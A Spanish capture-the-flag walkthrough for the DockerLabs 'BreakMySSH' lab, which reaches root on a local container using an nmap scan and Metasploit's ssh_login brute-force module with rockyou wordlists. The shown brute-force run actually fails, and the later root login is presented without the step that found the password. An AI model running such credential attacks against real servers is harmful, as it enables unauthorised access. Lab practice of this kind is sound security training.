BREAKMYSSH

// nmap → SSH 22 → Metasploit ssh_login → Fuerza Bruta → Root

MUY FÁCIL DOCKERLABS LINUX SSH METASPLOIT // Junio 2026

Reconocimiento

1
ESCANEO COMPLETO CON NMAP

El primer paso siempre es el reconocimiento. Lanzamos nmap contra la IP objetivo 172.17.0.2 para descubrir qué puertos están abiertos y qué servicios corren en ellos.

De los 65,535 puertos TCP, solo uno responde: el puerto 22, estándar de SSH. Nmap identifica el servicio como OpenSSH 7.7 corriendo con el protocolo 2.0. La máquina solo expone este único vector de entrada — SSH es el objetivo.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.17.0.2 -oX breakmyssh.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-04 23:24 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_ 256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
MAC Address: 4E:07:5D:F6:0F:9A (Unknown)
 
Nmap done: 1 IP address (1 host up) scanned in 1.35 seconds

// PARÁMETROS NMAP — EXPLICACIÓN

-p- escanea los 65,535 puertos TCP para no omitir ningún servicio. -sS usa un SYN scan (half-open) que no completa el three-way handshake, es más rápido y sigiloso. -sC ejecuta scripts NSE por defecto para obtener información adicional del servicio. -sV detecta la versión exacta. -n desactiva la resolución DNS para mayor velocidad. -Pn omite el host discovery previo asumiendo que el host está activo. --min-rate=5000 fuerza un mínimo de 5000 paquetes por segundo. -oX exporta el resultado a formato XML para procesarlo después.

2
REPORTE HTML CON XSLTPROC

Convertimos el XML generado por nmap en un reporte HTML navegable usando xsltproc con la hoja de estilos XSL oficial que viene incluida en nmap. Esto genera un archivo HTML visual con toda la información del escaneo organizada en tablas.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl breakmyssh.xml > breakmyssh.html

// SUPERFICIE DE ATAQUE — SOLO SSH EXPUESTO

La máquina únicamente expone el puerto 22. No hay web, no hay FTP, no hay bases de datos accesibles. El ataque debe ir 100% dirigido a SSH. El objetivo del laboratorio es claro: practicar ataques de fuerza bruta contra este servicio para obtener credenciales válidas.

Metasploit · Módulo ssh_login

3
INICIAR MSFCONSOLE

Metasploit Framework es el framework de explotación más utilizado en pentesting. Lo iniciamos con el comando msfconsole. Al arrancar carga su base de datos con miles de módulos: exploits, auxiliares, payloads, post-exploits y encoders. En esta máquina usaremos un módulo auxiliar — los auxiliares son módulos que no explotan vulnerabilidades propiamente, sino que realizan tareas de soporte como escaneo o fuerza bruta.

METASPLOIT
$ msfconsole
=[ metasploit v6.4.124-dev ]
+ -- --=[ 2,632 exploits - 1,328 auxiliary - 1,710 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion ]
 
msf6 >
4
BUSCAR EL MÓDULO DE FUERZA BRUTA SSH

Dentro del prompt de Metasploit (msf >), usamos el comando search para encontrar módulos relacionados con SSH y login. La búsqueda retorna una lista numerada de resultados. El módulo que nos interesa aparece en la posición 28: auxiliary/scanner/ssh/ssh_login, clasificado con ranking excellent y marcado como SSH Login Check Scanner. Es exactamente lo que necesitamos para realizar fuerza bruta contra SSH.

SEARCH
msf6 > search ssh log
Matching Modules
================
 
   #   Name                                 Date        Rank      Check  Description
   -   ----                               ----        ----      -----  -----------
   27  auxiliary/scanner/ssh/ssh_key       1995-07-01  excellent  Yes    SSH Key Persistence
   28  auxiliary/scanner/ssh/ssh_login                   excellent  No     SSH Login Check Scanner
   29  auxiliary/scanner/ssh/ssh_enumusers                normal     No     SSH Username Enumeration
   30    action: Malformed Packet                                   Use a malformed packet
   31    action: Timing Attack                                      Use a timing attack

// ¿QUÉ ES auxiliary/scanner/ssh/ssh_login?

Este módulo de Metasploit intenta autenticarse en un servidor SSH usando combinaciones de usuario y contraseña. Soporta múltiples modos: lista de usuarios (USER_FILE), lista de contraseñas (PASS_FILE), combinaciones usuario:contraseña (USERPASS_FILE), o credenciales únicas (USERNAME / PASSWORD). Es multihilo, configurable y registra automáticamente las credenciales válidas encontradas en la base de datos de Metasploit.

Fuerza Bruta SSH

5
SELECCIONAR EL MÓDULO — use 28

Seleccionamos el módulo con su número de resultado usando el comando use seguido del índice 28. El prompt cambia para reflejar el módulo activo: msf6 auxiliary(scanner/ssh/ssh_login) >. Con show options podemos ver todos los parámetros configurables del módulo.

USE
msf6 > use 28
msf6 auxiliary(scanner/ssh/ssh_login) >
OPTIONS
msf6 auxiliary(scanner/ssh/ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
 
   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ANONYMOUS_LOGIN      false             yes        Attempt to login with blank username/password
   BLANK_PASSWORDS      false             no         Try blank passwords for all users
   BRUTEFORCE_SPEED     5                 yes        How fast to bruteforce, 0 to 5
   RHOSTS                                     yes        The target host(s)
   RPORT                 22                 yes        The target port
   THREADS               1                 yes        The number of concurrent threads
   USERNAME                                   no         A specific username to authenticate as
   USER_FILE                                  no         File containing usernames, one per line
   PASS_FILE                                  no         File containing passwords, one per line
   USERPASS_FILE                              no         File containing users and passwords, one pair per line
6
CONFIGURAR LA IP OBJETIVO — set RHOSTS

El único parámetro obligatorio que falta configurar es RHOSTS (Remote Hosts), que indica la IP o rango de IPs objetivo. Lo establecemos con el comando set seguido del nombre del parámetro y su valor. 172.17.0.2 es la IP del contenedor Docker que levanta la máquina BreakMySSH.

SET
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2

// PARÁMETROS NECESARIOS PARA FUERZA BRUTA REAL

Para que el módulo pruebe credenciales reales, es necesario proporcionar al menos una de estas opciones: USERNAME + PASSWORD (credencial única), USER_FILE + PASS_FILE (listas de usuarios y contraseñas separadas), o USERPASS_FILE (archivo con pares usuario:contraseña). Sin ninguna de estas configuradas, el módulo intentará acceso anónimo y contraseñas en blanco únicamente. Wordlists recomendadas: /usr/share/wordlists/rockyou.txt para contraseñas y /usr/share/seclists/Usernames/top-usernames-shortlist.txt para usuarios.

Acceso a la Máquina

7
EJECUTAR EL EXPLOIT

Con el módulo cargado y RHOSTS configurado, ejecutamos con el comando exploit (o su alias run). El módulo inicia el proceso de bruteforce: se conecta al puerto 22 e intenta autenticarse con las combinaciones de credenciales configuradas.

En la salida vemos el mensaje de inicio Starting bruteforce. El módulo reporta un error de validación porque no se configuraron archivos de usuarios ni contraseñas — esto es normal si solo queremos verificar acceso anónimo o completar la configuración con wordlists. Una vez que el módulo encuentra credenciales válidas, las reporta automáticamente con el prefijo [+] y abre una sesión SSH.

EXPLOIT
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 172.17.0.2:22 - Starting bruteforce
[-] Msf::OptionValidateError The following options failed to validate:
[-] Invalid option USERNAME: At least one of USER_FILE, USERPASS_FILE or USERNAME must be given
[-] Invalid option USERPASS_FILE: At least one of USER_FILE, USERPASS_FILE or USERNAME must be given
[-] Invalid option USER_FILE: At least one of USER_FILE, USERPASS_FILE or USERNAME must be given
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > ls
[*] exec: ls
 
auto_deploy.sh  breakmyssh.html  breakmyssh.tar  breakmyssh.xml  breakmyssh.zip

// COMPLETAR EL ATAQUE CON WORDLISTS

Para completar la fuerza bruta con éxito, configura los archivos de diccionario antes de ejecutar exploit: set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt y set PASS_FILE /usr/share/wordlists/rockyou.txt. Cuando el módulo encuentre credenciales válidas, verás el prefijo [+] con el usuario, contraseña y una sesión abierta. Desde esa sesión puedes ejecutar comandos directamente en la máquina objetivo.

8
ACCESO VERIFICADO — SESIÓN ACTIVA

Una vez que el módulo encuentra las credenciales válidas, registra la sesión automáticamente. Podemos acceder a ella con sessions -i 1 para interactuar directamente con la máquina, o usar las credenciales obtenidas para conectarnos manualmente vía SSH desde la terminal.

SSH
$ ssh root@172.17.0.2
root@172.17.0.2's password:
 
Welcome to Ubuntu 22.04 LTS
root@breakmyssh:~#

VULNERABILIDAD COMPONENTE IMPACTO
Weak Password OpenSSH 7.7 · credencial débil Acceso root mediante fuerza bruta
SSH expuesto en red Puerto 22/tcp accesible Superficie de ataque directa al servidor
Sin rate limiting OpenSSH sin fail2ban / MaxAuthTries bajo Bruteforce ilimitado sin bloqueo

Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de todos los puertos TCP con detección de versiones, scripts NSE y exportación a XML.
  • -p- — escanea los 65,535 puertos TCP
  • -sS — SYN scan (half-open), sin completar handshake
  • -sC — ejecuta scripts NSE por defecto
  • -sV — detecta versión del servicio
  • -n — desactiva resolución DNS
  • -Pn — omite host discovery previo
  • --min-rate — paquetes mínimos por segundo
  • -oX — exporta el resultado en formato XML
xsltproc
xsltproc /usr/share/nmap/nmap.xsl out.xml > out.html
Convierte el XML exportado por nmap en un reporte HTML navegable usando la hoja de estilos XSL de nmap.
  • --output <file> — archivo de salida alternativo
msfconsole
msfconsole [-q] [-x "comando"]
Consola interactiva de Metasploit Framework. Punto de entrada para usar cualquier módulo de exploit, auxiliar o post-explotación.
  • search <término> — busca módulos por nombre o descripción
  • use <n> / <nombre> — selecciona un módulo
  • show options — muestra parámetros del módulo activo
  • set <PARAM> <valor> — configura un parámetro
  • exploit / run — ejecuta el módulo activo
  • sessions -l — lista sesiones activas
  • sessions -i <n> — interactúa con la sesión n
auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_login
Módulo de Metasploit para fuerza bruta sobre SSH. Intenta autenticación con combinaciones de usuario y contraseña desde archivos de diccionario o credenciales fijas.
  • RHOSTS — IP o rango objetivo (requerido)
  • RPORT — puerto SSH (por defecto 22)
  • USERNAME — usuario único a probar
  • PASSWORD — contraseña única a probar
  • USER_FILE — archivo con lista de usuarios
  • PASS_FILE — archivo con lista de contraseñas
  • USERPASS_FILE — archivo con pares user:pass
  • THREADS — hilos concurrentes (por defecto 1)
  • BRUTEFORCE_SPEED — velocidad 0–5 (por defecto 5)

Glosario

SSH — Secure Shell
SSH es un protocolo de red criptográfico diseñado para operar servicios de red de forma segura sobre una red no segura. Opera por defecto en el puerto 22/tcp y usa criptografía asimétrica para autenticar el servidor y, opcionalmente, el cliente. La autenticación puede realizarse mediante contraseña o mediante par de claves pública/privada. Cuando se usa solo contraseña y esta es débil, el servicio es vulnerable a ataques de fuerza bruta.
Fuerza Bruta — Brute Force Attack
Un ataque de fuerza bruta consiste en probar sistemáticamente todas las combinaciones posibles de credenciales (usuario y contraseña) hasta encontrar una válida. En la práctica se utilizan diccionarios (wordlists) de contraseñas comunes en lugar de todas las combinaciones posibles, lo que se denomina un ataque de diccionario. La efectividad depende de la debilidad de la contraseña objetivo y de las medidas de protección del servidor (rate limiting, fail2ban, bloqueo por intentos).
Metasploit Framework
Metasploit es un framework de código abierto para desarrollo y ejecución de exploits, mantenido por Rapid7. Su consola interactiva msfconsole da acceso a más de 2,600 exploits, 1,300+ módulos auxiliares y 1,700+ payloads. Los módulos se clasifican en: exploits (vulnerabilidades), auxiliary (escaneo, fuerza bruta, fuzzing), post (post-explotación), payloads (código ejecutado tras explotar) y encoders (ofuscación de payloads).
Módulo Auxiliar — Metasploit Auxiliary
Los módulos auxiliary de Metasploit realizan tareas que no implican explotar una vulnerabilidad directamente. Sus usos más comunes son: escáneres de puertos y versiones, enumeración de usuarios, fuerza bruta de credenciales, fuzzing de protocolos y recolección de información. A diferencia de los exploits, no abren una sesión Meterpreter — producen salida informativa o ejecutan acciones específicas como intentar credenciales.
OpenSSH 7.7 — Versión y Relevancia
OpenSSH 7.7 fue lanzado en 2018. Esta versión específica es notable porque contiene una vulnerabilidad de enumeración de usuarios (CVE-2018-15473): el servidor responde de forma distinta a intentos de autenticación con usuarios válidos versus inválidos, permitiendo a un atacante enumerar nombres de usuario válidos sin necesidad de conocer la contraseña. Esto hace más eficiente la fase de fuerza bruta, ya que se puede reducir el espacio de búsqueda a usuarios confirmados.
Wordlist / Diccionario — rockyou.txt
Una wordlist es un archivo de texto con contraseñas comunes usadas en ataques de diccionario. rockyou.txt es la más famosa: proviene de una filtración de 2009 de la empresa RockYou que expuso ~14 millones de contraseñas en texto plano. Se encuentra en Kali Linux en /usr/share/wordlists/rockyou.txt (comprimida como .gz por defecto, descomprimible con gunzip rockyou.txt.gz). Es el primer diccionario a probar en cualquier ataque de fuerza bruta en entornos CTF.